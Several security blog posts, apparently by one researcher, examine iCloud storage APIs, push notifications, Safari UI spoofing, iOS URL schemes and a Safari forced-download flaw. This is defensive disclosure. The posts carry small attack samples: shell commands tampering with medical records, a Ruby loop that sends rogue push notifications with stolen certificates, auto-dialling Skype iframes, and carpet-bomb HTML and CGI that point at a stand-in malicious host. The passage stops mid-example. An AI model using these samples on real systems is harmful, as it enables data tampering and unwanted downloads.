Nitesh Dhanjani

Apple’s iCloud: Thoughts on Security and the Storage APIs

[For easier reading you can download a PDF of this article].

At the 2011 World Wide Developer Conference in San Francisco, Steve Jobs revealed his vision for Apple’s iCloud: to demote the desktop as the central media hub and to seamlessly integrate the user’s experience across devices.

Apple’s iCloud service comprises of two distinct features. The first is to provide the user with the ability to backup and restore the device over the air without having to sync with an OSX or Windows computer. This mechanism is completely controlled by Apple and also provides free email and photo syncing capabilities. The second feature of iCloud allows 3rd party developers to leverage data storage capabilities within their own apps.

In this article, I will provide my initial thoughts on iCloud from a security perspective. The emphasis of this article is to discuss the iCloud storage APIs from a secure coding and implementation angle, but I will start by addressing some thoughts on the backup and restore components.

Business Implications of Device Backup and Restore Functionality

Starting with iOS5, iPhone and iPad users do not have to sync their devices with a computer. Using a wireless connection, they can activate their devices as well as backup and restore their data by setting up an iCloud account.

Following are some thoughts on risks and opportunities that may arise for businesses as their employees begin to use iOS devices that are iCloud enabled.

High potential for mass data compromise using automated tools.

An iOS device that is iCloud enabled continuously syncs data to Apple’s data-centers (and to cloud services Apple has in turn leased from Amazon (EC2) and Microsoft (Azure)). The device also performs a backup about once a day when the device is plugged into a power outlet and when WiFi is available (this can also be manually initiated by the user).

It is easy to intercept the traffic between an iOS device and the iCloud infrastructure using an HTTP proxy tool such as Burp. Interestingly, the backupd process  also backs up data to the Amazon infrastructure:

PUT /[snip]?x-client-request-id=[snip]&Expires=1322186125&AWSAccessKeyId=[snip]&Signature= [snip] HTTP/1.1

Host: us-nca-00001.s3-external-1.amazonaws.com:443

User-Agent: backupd (unknown version) CFNetwork/548.0.4 Darwin/11.0.0

x-amz-date: Fri, 25 Nov 2011 01:00:25 GMT

Content-Type: application/octet-stream

x-apple-request-uuid: [snip]

Connection: close

Proxy-Connection: close

Content-Length: 3574527

...

...

In this case, the device had previously authenticated to Apple domains (*.icloud.com and *.apple.com). Most likely, those servers initiated a back-end session with Amazon tied to the user’s session based on the filename provided to the PUT request above.

The biggest point here from a security perspective is that all the information is protected by the user’s iCloud credentials that is present in the Authorization: X-MobileMe-AuthToken header using basic access authentication (base 64).

iCloud backs-up emails, calendars, SMS and iMessages, browser history, notes, application data, phone logs, etc. This information can be a gold-mine for adversaries. It is my hypothesis that in the near future, we are going to see automated tools that will do the following:

1. Continuously scrape compromised usernames and password of other services from sources such as http://twitter.com/PastebinLeaks.
2. Attempt credentials of each compromised account (whose username is in the form of an email as required by iCloud) on iCloud.
3. For every successful credential, download the restore files thereby completely compromising the user’s information.

The risk to organizations and government institutions is enormous. A malicious entity can automatically download majority of data associated with an individual’s iPhone or iPad of that user’s account simply by gaining access to their iCloud password (which could have been compromised due to password reuse at another service).

Information security teams must integrate baselines and policies relating to iCloud.

It is possible to turn off iCloud Backups (allowCloudBackup)and document synchronization (allowCloudDocumentSync) by deploying specific configuration profiles. More information is available here: http://developer.apple.com/library/ios/#featuredarticles/iPhoneConfigurationProfileRef/Introduction/Introduction.html

Also, Mobile Device Management (MDM) vendors are likely to integrate iCloud related policy settings and this should be leveraged.

3rd party apps as well as iOS apps developed in-house should be assessed for security vulnerabilities and the iCloud API related principles listed in the next section.

iCloud Storage APIs

A significant aspect of the iCloud platform is the availability of the iCloud storage APIs [http://developer.apple.com/icloud/index.php] to developers. These APIs allow developers to write applications that leverage the iCloud to wirelessly push and synchronize data across user devices. 

iCloud requires iOS5 and Mac OSX Lion. These operating systems have been recently released and developers are busy modifying their applications to integrate the iCloud APIs. In the coming months, we are bound to see an impressive increase in the number of apps that leverage iCloud.

In this section, I will discuss my initial thoughts on how to securely enable iOS apps using the iCloud Storage APIs. I will step through how to write a simple iOS app that leverages iCloud Storage APIs. This app will create a simple document in the user’s iCloud container and auto update the document when it changes. During this walk-through, I will point out secure development tips and potential abuse cases to watch out for.

[I have relied on Ray Wenderlich’s fantastic Beginning iCloud in iOS 5 tutorial(s) located at for the walk-through below. The tutorial can be found here: http://www.raywenderlich.com/6015/beginning-icloud-in-ios-5-tutorial-part-1].

Creating an Configuring an App ID and Provisioning Profile for iCloud Services

This is the first step required to allow your test app to be able to use the iCloud services. The App ID is really a common name description of the app to use during the development process. 

Figure 1: Creating an App ID using the Developer provisioning portal.

The provisioning portal also requires you to pick a “Bundle Identifier” in reverse-domain style. This has to be a unique string. For example, an attempt to create an App ID with the Bundle Identifier of com.facebook.facebook is promptly rejected because it is most likely in use by the official Facebook app.

The next step is to enable your App ID for iCloud services. Click on “Configure”  in your App ID list under the “Action” column. Next, check “Enable for iCloud”

Figure 2: Enabling your App ID for iCloud

Select the “Provisioning” tab and click on “New Profile”. Pick the App ID you created earlier and select the devices you want to test the app on. Note that the simulator cannot access the iCloud API so you will need to deploy the app onto an actual device.

Once you have the App ID configured, you have to create a provisioning profile. A provisioning profile is a property-list (.plist) file signed by Apple. This file contains your developer certificate. Code that is complied with this developer certificate is allowed to execute on the devices selected in the profile.

Figure 3: Provisioning profile loaded in XCode

Download the profile and open it (double-click and XCode should pick it up as shown in Figure 3). 

Writing a Simple iCloud App in XCode

 In Xcode, create a new project. Choose “Single View Application” as the template. Enter “dox” for the product name and the company identifier you used when creating the App ID. The Device family should be “Universal”. The “Use Automatic Reference Counting” option should be checked and the other options should be unchecked.

Figure 4: Creating a sample iCloud project in XCode

Next, select your project in the “Project Navigator” and select the “dox” target. Click on “Summary” and go to the “Entitlements” section.

Figure 5: Project entitlements (iCloud)

The defaults should look like the screen-shot in Figure 5 and you don’t have to change anything.

Open up AppDelegate.m and add the following code at the bottom of application:didFinishLaunchingWithOptions (before the return YES;):

 

NSURL *ubiq = [[NSFileManager defaultManager] 

  URLForUbiquityContainerIdentifier:nil];

if (ubiq) {

    NSLog(@"iCloud access at %@", ubiq);

    // TODO: Load document... 

} else {

    NSLog(@"No iCloud access");

}

 

Figure 6: “Documents & Data” in iCloud settings turned off

Now assume that the test device has the “Documents & Data” preference in iCloud set to “off”. In this case, if you run the project now, you should see the log notice shown in Figure 7.

Figure 7: App unable to get an iCloud container instance 

If the “Documents & Data” settings were turned “On”, you should see the log notice similar to Figure 8.

Figure 8: iCloud directory on the local device

Notice that the URL returned is a ‘local’ (i.e. file://) container. This is because the iCloud daemon running on the iOS device (and on OSX) automatically synchronizes information users put into this directory between all of the user’s iCloud devices. If the user also has OSX Lion, they can find their iCloud files created on iOS appear in their ~/Library/Mobile Documents/ directory.

At this point, I’ll turn you over to Ray Wenderlich’s iCloud tutorials I referenced earlier. Go through Part 1 and Part 2 (you can stop at the end of “Setting Up the User Interface”). The tutorial is available here: http://www.raywenderlich.com/6015/beginning-icloud-in-ios-5-tutorial-part-1.

Video: Demonstration of sample iCloud App

Once you are done, you can deploy your app onto two separate iOS devices and watch the text sync using iCloud. The embedded video above demonstrates the app in action.

Security Considerations

The following are a list of security considerations that may be useful in managing risk pertaining to the iCloud storage APIs.

Guard the credentials to your Apple developer accounts. It is important for you to safeguard your Apple developer account credentials and make sure the credentials are complex enough to prevent potential brute forcing. Someone with access to your developer account could release an app with the same Bundle Seed ID (discussed below) that accesses the users’ iCloud containers and ferries the information to the attacker.

The Bundle Seed ID is used to constrain the local iCloud directory. As you can see in Figure 8, the local directory is in the form of [Bundle Seed/Team ID].[iCloud Container specific in entitlements]. The app can have multiple containers (i.e. multiple directories) if specified in the entitlements, but only in the form of [Bundle Seed ID].* as constrained in the provisioning profile:

...

<key>Entitlements</key>

    <dict>

        <key>application-identifier</key>

        <string>46Q6HN4L88.com.icloudtest.dox</string>

        <key>com.apple.developer.ubiquity-container-identifiers</key>

        <array>

            <string>46Q6HN4L88.*</string>

        </array>

        <key>com.apple.developer.ubiquity-kvstore-identifier</key>

            <string>46Q6HN4L88.*</string>

   </dict>

...

    <key>TeamIdentifier</key>

    <array>

        <string>46Q6HN4L88</string>

    </array>

 ...

Figure 9: Entitlements settings visible in XCode

If you try to change the values of com.apple.developer.ubiquity-container-identifiers or com.apple.developer.ubiquity-kvstore-identifier (in your entitlements settings visible in Xcode) to begin with anything other than what you have in your provisioning profile, XCode will complain as shown in Figure 10.

Figure 10: Xcode error about invalid entitlements

It is clear that Apple uses the Bundle Seed ID (Team ID) to constrain access to user data in iCloud between different organizations.As discussed earlier, if someone were to get Apple’s provisioning portal to issue a provisioning profile with someone else’s Team ID, they could write Apps that can (at least locally) have access to the user’s iCloud data since their local iCloud file:// mapping will coincide.

Do not store critical information in iCloud containers, including session data. iCloud data  is stored locally and synced to the iCloud infrastructure. Users often have multiple devices (iPhone, iPod Touch, iPad, Macbook, iMac) so their iCloud data will be automatically synced across devices. If a malicious entity were to temporarily gain access to the file-system (by having physical access or by implanting malware), he or she could gain access to the iCloud local containers (/private/var/mobile/Library/Mobile Documents/ in iOS and ~/Library/Mobile Documents/ in OSX). It is therefore a good idea not to store critical information such as session tokens, passwords, financial, and or healthcare data that is personally identifiable.

Do not trust data in your iCloud to commit critical transactions. As discussed in the prior paragraph, an attacker with temporary access to a user’s file system can access iCloud documents stored locally. Note that the attacker can also edit or add files into the iCloud containers and the changes will be synced across devices.

Figure 11: Sample medical app that leverages iCloud to store patient data

Assume a hospital were to deploy an iCloud enabled medical app to be used by doctors such as the screenshot in Figure 11. If an attacker were to gain access to the doctor’s Macbook Air running OSX for example, they could look at the local filesystem:

$ cd ~/Library/Mobile Documents/46Q6HN4L88~com~hospital~app/Documents

$ ls

Allergies.txt                  1.TIFF

$ cat /dev/null > Allergies.txt

$ cp ~/Downloads/1.TIFF 1.TIFF

Once the attacker has issued the commands above, the doctor’s iCloud container will be updated with the modified information across all devices. In this example, the attacker has altered a particular patient’s record to remove listed allergies and replace the X-Ray image. 

Figure 12: Updated medical record after intruder gains temporary access to Doctor’s Macbook Air

The doctor will see the updated record when the medical app is accessed after the attacker makes these changes on the doctor’s Macbook Air (Figure 12).

Store files in the Documents directory. Users can delete individual files in their iCloud accounts if they are stored in the ‘Documents’ directory:

NSURL *ubiquitousPackage = [[ubiq URLByAppendingPathComponent: @"Documents"] URLByAppendingPathComponent:kFILENAME];

Other files will be treated as data and can only be deleted all at once. Doing this can allow users to notify you if a bug in your application is causing too much data to be written into iCloud which can exhaust users' storage quotas and thus create a denial of service condition.

Take care to handle conflicts appropriately. Documents that are edited on multiple devices are likely to cause conflicts. Depending upon the logic of your application code, it is important to make sure you handle these conflicts so that the integrity of the user’s data is preserved.

Understand that Apple has the capability to see your users' iCloud data. Data from the local device to the iCloud infrastructure is encrypted during transmit. However, note that Apple has the capability to look at your users' data. There is low probability that Apple would choose to do this but depending upon your business, there may be regulatory and legal issues that may prohibit storage of certain data on the iCloud.

iOS sandboxing vulnerabilities may be exploited by rogue apps. Try putting in the string @”..\..\Documents” in URLByAppendingPathComponent or editing your container identifier in your entitlements to contain “..” or any other special characters. You will note that iOS will either trap your attempt at runtime or replace special characters that can cause an app to break out of the local iCloud directory. If someone were to find a vulnerability in iOS sandboxing or file parsing mechanisms, it is possible they can leverage this to build a rogue app that is able to access another app’s iCloud data.

These security principles also apply to key-value data storage. The iCloud Storage APIs also allow the storage of key-value data in addition to documents. The security tips outlined in this article also apply to key-value storage APIs.

Watch out for iCloud backups. As presented in the earlier section, the user can choose to backup his or her phone data into the iCloud. This includes the Documents/ portion within the app sand-box (Note: This is not the Documents folder created as part of the iCloud container, but is present as part the application bundle). If there is critical information you do not wish to preserve move it to Library/Caches. You may also wish to leverage the addSkipBackupAttributeToItemAtURL method to identify specific directories that should not be backed up.

 

I hope this article contained information to help you and your organization think through security issues and principles surrounding iCloud. The ultimate goal is to enable technology, but in a way that is cognizant of the associated risks. Feel free to get in touch if you have any comments, questions, or suggestions.

New Whitepaper (BlackHat Barcelona 2011): Application Attacks Against Apple’s iOS

On March 17, 2011, I presented New Age Application Attacks Against Apple's iOS at BlackHat Barcelona.

The whitepaper associated with my talk is now available. You can download it from this URL: https://media.blackhat.com/bh-eu-11/Nitesh_Dhanjani/BlackHat_EU_2011_Dhanjani_Attacks_Against_Apples_iOS-WP.pdf

This whitepaper brings together emerging research to illustrate the net-new attack vectors targeting iOS applications. The intended audience for the rest of this paper include technical security analysts and iOS application developers. The following topics are discussed in detail:

- Protocol handling attacks and secure design.
- User Interface (UI) attacks and best practices.
- Abusing and securely design Apple Push Notifications.
- Man in the Middle attacks, Privacy Leaks, Identity Decloaking, and Countermeasures.

In addition to these topics, the Appendix in the whitepaper contains a checklist of items to consider when assessing iOS applications. This list includes traditional application security weaknesses that also apply to iOS. Additional items to consider, such as data protection and file encryption applicable to iOS devices, are also presented in the Appendix.

I trust many may find the information in the paper valuable and actionable. If you have any questions or feedback, please feel free to contact me.

Apple iOS Push Notifications: Security Implications, Abuse Scenarios, and Countermeasures

Millions of iOS users and developers have come to rely on Apple’s Push Notification Service (APN). In this article, I will briefly introduce details of how APN works and present scenarios of how insecure implementations can be abused by malicious parties.

Apple’s iOS allows some tasks to truly execute in the background when a user switches to another app (or goes back to the home screen), yet most apps will return and resume from a frozen state right where they left off. Apple’s implementation helps preserve battery life by providing the user the illusion that iOS allows for full-fledged multi-tasking between 3rd party apps.

This setup makes it hard for apps to implement features that rely on full-fledged multi-tasking. For example, an Instant Messaging app will want to alert the user of a new incoming message even if the user is using another app. To enable this functionality, the APN service can be used by app vendors to push notifications to the user’s device even when the app is in a frozen state (i.e. the user is using another app or is on the home screen).

Figure 1: Badge and alert notification in iOS

There are 3 types of push notifications in iOS: alerts, badges, and sounds. Figure 1 shows a screen-shot illustrating both an alert and a badge notification.

iOS devices maintain a persistent connection to the APN servers. Providers, i.e. 3rd party app vendors, must connect to the APN to route the notification to a target device.

So how can an app developer implement push notifications? For explicit details, I’d recommend going through Apple’s excellent Local and Push Notifications Programming Guide. However, I will briefly cover the steps below with emphasis on steps that have interesting security implications and tie them to abuse cases and recommendations.

1. Create an App ID on Apple’s iOS Provisioning Portal. This step requires you sign up for a developer account ($99). This is straight-forward: just click on App IDs in the provisioning portal and then select New App ID. Next, enter text in the Description field that describes your app. The Bundle Seed ID is used to signify if you want multiple apps to share the same Keychain store.

The Bundle Identifier is where it gets interesting: you need to enter a unique identifier for your App ID. Apple recommends using a reverse-domain name style string for this.

Figure 2: iOS provisioning portal rejects “com.facebook.facebook” Bundle Identifier

The Bundle Identifier is significant from a security perspective because it makes its way into the provider certificate we will create later (also referred to as the topic). The APN trusts this field in the certificate to figure out which app in the target user’s device to convey the push message to. As Figure 2 illustrates, an attempt to create an App ID with the Bundle Identifier of com.facebook.facebook is promptly refused as a duplicate, i.e. the popular Facebook iOS app is probably using this in it’s certificate. Therefore, if a malicious entity were to bypass the provisioning portal’s restrictions against allowing an existing Bundle Identifier, then he or she could possibly influence Apple to provision a certificate that can be abused to send push notifications to users of another app (but the malicious user would still need to know the target user's device-token discussed later in this article).

2. Create a Certificate Signing Request (CSR) to have Apple generate an APN certificate. In this step, Keychain on the desktop is used to generate a public and private cryptographic key pair. The private key stays on the desktop. The public key is included in the CSR and uploaded to Apple. The APN certificate that Apple provides back is specific to the app and tied to a specific App ID generated in step 1.

3. Create a Provisioning Profile to deploy your App into a test iOS device with push notifications enabled for the App ID you selected. This step is pretty straight forward and described in Apple’s documentation linked above.

4. Export the APN certificate to the server side. As described in Apple’s documentation, you can choose to export the certificate to .pem format. This certificate can then be used on the server side of your app infrastructure to connect to the APN and send push notifications to targeted devices.

5. Code iOS application to register for and respond to notifications. Your iOS app must register with the device (which in turns registers with the APN) to receive notifications. The best place to do this is in applicationDidFinishLaunching:, for example:

[[UIApplication sharedApplication]registerForRemoteNotificationTypes:(UIRemoteNotificationTypeBadge | UIRemoteNotificationTypeSound)];

The code above will make the device initiate a registration process with the APN. If this succeeds, the didRegisterForRemoteNotificationsWithDeviceToken: application delegate is invoked:

 

- (void)application:(UIApplication *)app didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)devToken {
    const void *devTokenBytes = [devToken bytes];
    self.registered = YES;
    [self sendProviderDeviceToken:devTokenBytes]; // custom method
}

 

Notice that the delegate is passed the deviceToken. This token is NOT the same as the UDID which is an identifier specific to the hardware.The deviceToken is specific to the instance of the iOS installation, i.e. it will migrate to a new device if the user were to restore a backup in iTunes onto a new device. The interesting thing to note here is that the deviceToken is static across apps on the specific iOS instance, i.e. the same deviceToken will be returned to other apps that register to send push notifications.

The sendProviderDeviceToken: method sends the deviceToken to the provider (i.e. your server side implementation) so the provider can use it to tell the APN which device to send the targeted push notification to.

In the case where your application is not running and the iOS device receives a remote push notification from the APN destined for your app, the didFinishLaunchingWithOptions: delegate is invoked and the message payload is passed. In this case, you would handle and process the notification in this method. If your app is already in the running, then the didReceiveRemoteNotification: method is called (you can check the applicationState property to figure out if the application is active or in the background and handle the event accordingly).

6. Implement provider communication with the APN. With the provider keys obtained in step 4, you can implement server side code to send a push notification to your users.

Figure 3: (enhanced) Notification format for push notification payloads

As illustrated in Figure 3, you will need the deviceToken of the specific user you want to send the notification to (this is the token you would have captured from the device invoking your implementation of the sendProviderDeviceToken method described in Step 4). The Identifier is an arbitrary value that identifies the notification (you can use this to correlate an error-response. Please see Apple’s documentation for details). The actual payload is in JSON format.

Now that we have established details on implementing push-notifications into custom apps, lets discuss applicable security best practices along with abuse cases.

1. Do not send company confidential data or intellectual property in the message payload. Even though end points in the APN architecture are TLS encrypted, Apple is able to see your data in clear-text. There may be legal ramifications of disclosing certain types of information to third-parties such as Apple. And I bet Apple would appreciate it too (they wouldn’t want the liability).

2. Push delivery is not guaranteed so don’t depend on it for critical notifications. Apple clearly states that the APN service is best-effort delivery.

Figure 4: Do not rely on push for critical notifications

As shown in Figure 4, the push architecture should not be relied upon for critical notifications. In addition, iPhones that are not connected to cellular data (or when the phone has low to no signal) MAY not receive push notifications when the display is off for a specific period since wifi is often automatically turned off to preserve battery.

3. Do not allow the push notification handler to modify user data. The application should not delete data as a result of the application launching in response to a new notification. An example of why this is important is the situation where a push notification arrives while the device is locked: the application is immediately invoked to handle the pushed payload as soon as the user unlocks the device. In this case, the user of your app may not have intended to perform any transaction that results in the modification of his or her data.

4. Validate outgoing connections to the APN. The root Certificate Authority for Apple’s certificate is Entrust. Make sure you have Entrust’s root CA certificate so you are able to verify your outgoing connections (i.e. from your server side architecture) are to the legitimate APN servers and not a rogue entity.

5. Be careful with unmanaged code. Be careful with memory management and perform strict bounds checking if you are constructing the provider payload outbound to the APN using memory handling API in unmanaged programming languages (example: memcpy).

6. Do not store your SSL certificate and list of deviceTokens in your web-root. I have come across instances where organizations have inadvertently exposed their Apple signed APN certificate, associated private key, and deviceTokens in their web-root.

Figure 5: Screen-shot of APN certificates and deviceTokens being exposed

The illustration in Figure 5 is a real screen-shot of an iOS application vendor inadvertently exposing their APN certificates as well as a PHP script which lists all deviceTokens of their customers.

Figure 6: Scenario depicting rogue push notifications targeting the Facebook and CNN apps once their provider certificates have been compromised

In this abuse case, any malicious entity who is able to get at the certificates and list of deviceTokens will be able to send arbitrary push notifications to this iOS application vendor’s customers (see Figure 6). For example, the jpoz-apns Ruby gem can be used to send out concurrent rogue notifications:

 

APNS.host = 'gateway.push.apple.com'

APNS.pem  = '/path/to/pwn3d/pem/file'

APNS.pass = ''

APNS.port = 2195

stolen_dtokens.each do |dtoken|

    APNS.send_notification(dtoken,‘pwn3d’)
       
end

I would also highly recommend protecting your cert with a passphrase (it is assumed to be null in the above example). And it goes without saying that you should also keep any sample server side code that has the passphrase embedded in it out of your web-root. In fact, there is no good reason why any of this information should even reside on a host that is accessible from the Internet (incoming) since the provider connections to the APN need to be outbound only.

 

I feel Apple has done a good job of thinking through security controls to apply in the APN architecture. I hope the suggestions in this article help you to think through how to make sure the APN implementation in your app and architecture is secure from potential abuses.

 

UI Spoofing Safari on the iPhone

[Note: This article also appears as a guest post on the SANS Application Security blog]

Popular web browsers today do not allow arbitrary websites to modify the text displayed in the address bar or to hide the address bar (some browsers may allow popups to hide the address bar but in such cases the URL is then displayed in the title of the window). The reasoning behind this behavior is quite simple: if browsers can be influenced by arbitrary web applications to hide the URL or to modify how it is displayed, then malicious web applications can spoof User Interface elements to display arbitrary URLs thus tricking the user to thinking he or she is browsing a trusted site.

I’d like to call your attention to the behavior of Safari on the iPhone via a proof of concept demo. If you have an iPhone, browse to the following demo and keep an eye out on the address bar:

http://www.dhanjani.com/iphone-safari-ui-spoofing/

For those who do not have an iPhone available, here is a video:

 

And here are two images detailing the issue.

Figure: Image on left illustrates the page rendered which displays the ‘fake’ URL bar while the real URL bar is hidden above. Image on right illustrates the real URL bar that is visible once the user scrolls up.

Notice that the address bar stays visible while the page renders, but immediately disappears as soon as it is rendered. Perhaps this may give the user some time to notice but it is not a reasonably reliable control (and I don’t think Apple intended it to be).

I did contact Apple about this issue and they let me know they are aware of the implications but do not know when and how they will address the issue.

I have two main thoughts on this behavior, outlined below:

1. Precious screen real estate on mobile devices. This is most likely the primary reason why the address bar disappears upon page load on the iPhone. Note that on the iPhone, this only happens for websites that follow directives in HTML to advertise themselves as mobile sites (see the source of the index.html in the demo site above for example).

Since the address bar in Safari occupies considerable real estate, perhaps Apple may consider displaying or scrolling the current domain name right below the universal status bar (i.e. below the carrier and time stamp). Positioning the current domain context in a location that is unalterable by the rendered web content can provide the users similar indication that browsers such as IE and Chrome provide by highlighting the current domain being rendered.

2. The consequences of full screen apps in iOS using UIWebView. Desktop operating systems most often launch the default web browser of choice when a http or https handler is invoked (this is most often the case even though the operating systems provide interface elements that can be used to render web content within the applications). 

However, in the case of iOS, since most applications are full-screen, it is in the interest of the application designers to keep the users immersed within their application instead of yanking the user out into Safari to render web content. Given this situation, it becomes vital for iOS to provide consistency so the user can be ultimately assured what domain the web content is being rendered from.

To render web content within applications, all developers have to do is invoke the UIWebView class. It is as simple as invoking a line of code such as [webView loadRequest:requestObj]; where requestObj contains the URL to render.

Figure: Twitter App rendering web content on the iPad.

The screenshot above illustrates web-content rendered by the fantastic Twitter app on the iPad. To create this screen-shot, I launched the Twitter app on the iPad and selected a tweet from @appleinsider and clicked on the URL http://dlvr.it/9D81j in the tweet. Notice that the URL of the  actual page being rendered is no where to be seen.

In such cases, it is clear that developers of iOS applications need to make sure they clearly display the ultimate domain from which they are rending web content. A welcome addition to this would be default behavior on part of UIWebView to display the current domain context in a designated and consistent location.

 

Given how rampant phishing and malware attempts are these days, I hope Apple chooses to not allow arbitrary web applications to scroll the real Safari address bar out of view. In the case of applications that utilize UIWebView, I recommend a designated screen location label only accessible by iOS  that displays the domain from where the web content is being rendered when serving requests via calls to UIWebView. That said, I do realize how precious real estate is on mobile devices and if Apple choses to come up with a better way of addressing this issue, I'd welcome that as well.

Insecure Handling of URL Schemes in Apple’s iOS

[Note: This article also appears as a guest post on the SANS Application Security blog] 

In this article, I will discuss the security concerns I have regarding of how URL Schemes are registered and invoked in iOS.

URL Schemes, as Apple refers to them, are URL Protocol Handlers that can be invoked by the Safari browser. They can also be used by applications to launch other applications to perform certain transactions, but this use case isn’t relevant to the scope of this discussion.

In the URL Scheme Reference document, Apple lists the default URL Schemes that are registered within iOS. For example, the tel: scheme can be used to launch the Phone application. Now, imagine if a website were to contain the following HTML rendered to someone browsing using Safari on iOS:

<iframe src=”tel:1-408-555-5555”></iframe>

In this situation, Safari displays an authorization dialog:

Figure 1: Dialog box in Safari requesting for user authorization to launch the Phone application

Fantastic. A malicious website should not be able to initiate a phone call without the user’s explicit permission. This is the right behavior from a security perspective.

Now, let us assume the user has Skype.app installed. Let us also assume that the user has launched Skype in the past and that application has cached the user’s credentials (this is most often the case: users on mobile devices don’t want to repeatedly enter their credentials so this is not an unfair assumption). Now, what do you think happens when a malicious site renders the following HTML?

<iframe src=”skype://14085555555?call"></iframe>

In this case, Safari throws no warning, and yanks the user into Skype which immediately initiates the call. The security implications of this is obvious, including the additional abuse case where a malicious site can make Skype.app call a Skype-id who can then uncloak the victim’s identity (by analyzing the victim’s Skype-id from the incoming call).

Figure 2: Skype automatically initiating a call on iOS after being invoked by a malicious website

I contacted Apple’s security team to discuss this behavior, and their stance is that the onus is on the third-party applications (such as Skype in this case) to ask the user for authorization before performing the transaction. I also contacted Skype about this issue, but I have not heard back from them.

I do agree with Apple that third-party applications should also take part in ensuring authorization from the user, yet their stance leaves the following concerns unaddressed. 

Third party applications can only ask for authorization after the user has already been yanked out of Safari. A rogue website, or a website whose client code may have been compromised by a persistent XSS, can yank the user out of the Safari browser. Since applications on iOS run in full-screen mode, this can be an annoying and jarring experience for the user.

Third party applications can only ask the user for authorization after they have been fully launched. To register a URL Scheme, application developers need to alter their Info.plist file. For example, here is a section from Skype’s Info.plist: 

<key>CFBundleURLTypes</key>

        <array>

                <dict>

                        <key>CFBundleURLName</key>

                        <string>com.skype.skype</string>

                        <key>CFBundleURLSchemes</key>

                        <array>

                                <string>skype</string>

                        </array>

                </dict>

        </array> 

[Note: If you have a jailbroken iOS device and would like to obtain the list of URL Schemes for applications you have downloaded from the App Store, just copy over the Info.plist files for the applications onto your Mac and run the plutil tool to convert them to XML: plutil -convert xml1 Info.plist]

Next, the application needs to implement handling of the message in it’s delegate. For example:

(BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url

{

//Ask for authorization

 

//Perform transaction

}

Unlike the case of the tel: handler which enjoys the special privilege of requesting the user for authorization before yanking the user away from his or her browsing session in Safari, third party applications can only request authorization after they have been fully launched.

A solution to this issue is for Apple to allow third party applications an option register their URL schemes with strings for Safari to prompt and authorize prior to launching the external application. 

Should Apple audit the security implications of registered URL schemes as part of its App Store approval process? Apple’s tel: handler causes Safari to ask the user for authorization before placing phone calls. The most logical explanation for this behavior is that Apple is concerned about their customers’ security and doesn’t want rogue websites from being able to place arbitrary phone calls using the customer’s device. 

However, since the Skype application allows for such an abuse case to succeed, and given that Apple goes to great lengths to curate applications before allowing them to be listed in the App Store, should Apple begin to audit applications for security implications of exposed URL Schemes? After all, Apple is known to reject applications that pose a security or privacy risk to their users, so why not demand secure handling of transactions invoked by URL Schemes as well?

Skype is just one example. Besides Skype, there are many additional third party applications that register URL Schemes that can be invoked remotely by Safari. See the following websites for a comprehensive list http://wiki.akosma.com/IPhone_URL_Schemes and http://handleopenurl.com/scheme.

List of registered URL Schemes not available to the user. You can enumerate all the Info.plist files in your iPhone to ascertain the list of URL schemes your iPhone or iPad may respond to assuming you have jailbroken your iPhone. However, it may make sense for this list to be available in the Settings section of iOS so users can look at it to understand what schemes their device responds that can be invoked by arbitrary websites. Perhaps this will mostly appeal to the advanced users yet I feel it will help keep the application designers disciplined the same way the user location notification in iOS does. This will also make it easier for enterprises to figure out what third party applications to provision on their employee devices based on any badly designed URL schemes that may place company data at risk.

Note that in order to create a registry of exposed URL schemes, Apple cannot simply parse information from Info.plist because it only contains the initial protocol string. In other words, the skype: handler responds to skype://[phone_or_id]?call and skype://[phone_or_id]?chat but only the skype: protocol is listed Info.plist while the actual parsing of the URL is performed in code. Therefore, in order to implement this proposed registry system, Apple will have to require developers to disclose all patterns within a file such as Info.plist.

 

I feel the risk posed by how URL Schemes are handled in iOS is significant because it allows external sources to launch applications without user interaction and perform registered transactions. Third party developers, including developers who create custom applications for enterprise use, need to realize their URL handlers can be invoked by a user landing upon a malicious website and not assume that the user authorized it. Apple also needs to step up and allow the registration of URL Schemes that can instruct Safari to throw an authorization request prior to yanking the user away into the application.

Given the prevalence and ever growing popularity of iOS devices, we have come to depend on Apple’s platform with our personal, financial, and health-care data. As such, we need to make sure both the platforms and the custom applications iOS devices are designed securely. I hope this writeup helped increase awareness of the need to implement URL Schemes securely and what Apple can do to assist in making this happen.

2 Years Later: Droppin’ Malware on Your OSX, Carpet Bomb Style (and Then Some!)

Two years ago, I reported the Safari Carpet Bomb vulnerability to Apple. Apple responded back to let me know that they did not consider the issue a security vulnerability and had no immediate plans of fixing it. After obtaining explicit permission from the Apple security team to discuss the issue publicly, I disclosed it on May 14, 2008. This attack vector was eventually voted #3 in the “Top 10 Web Hacking Techniques of 2008” by security professionals around the world.

The Carpet Bomb issue was fixed on Safari for Windows due to pressure from Microsoft, most likely a result of threats from other security professionals who quickly realized the impact of cross application issues that contributed to remote command execution possibility on Windows. This caused Microsoft to release an advisory against Safari and Apple to eventually fix the issue on Safari for Windows.

However, 2 years later from my original disclosure, the Carpet Bomb vulnerability on OSX remains un-patched.

This means that if you use the Safari browser on OSX, a malicious entity can drop any amount of binaries or data files into your ~/Downloads/ folder. This issue is caused because, while most sane web browsers warn the end user and ask for explicit permission before saving a file locally, Safari goes ahead and saves the file into the default download location without asking the user - even if hundreds of files are served up by the malicious website simultaneously.

The technical details of the issue are the same as I reported 2 years ago, as follows: assume that a malicious website serves the following HTML:

<HTML>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
...
...
...
...
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
</HTML>

Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:

#!/usr/bin/perl


print "Content-type: blah/blah\n\n"

Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served.

If you are using Safari for OSX, this is what your ~/Downloads/ folder can look like after a single visit to the malicious site:

The impact of this issue should be clear to anyone with a reasonable and sound mind.

In this day and age, Fortune corporations are currently being infiltrated by way of state sponsored attacks and corporate espionage where a common initial step taken by malicious actors is to drop malware on the desktops of the targeted organization’s users.

BONUS! Unlike (most) other browsers, Safari (on both Windows and OSX this time) doesn’t bother to ask for the user’s permission prior to launching arbitrary local applications that handle registered URIs.

Imagine a malicious website that served up the following HTML:

<HTML>
<iframe id="frame" src="dict://"></iframe>
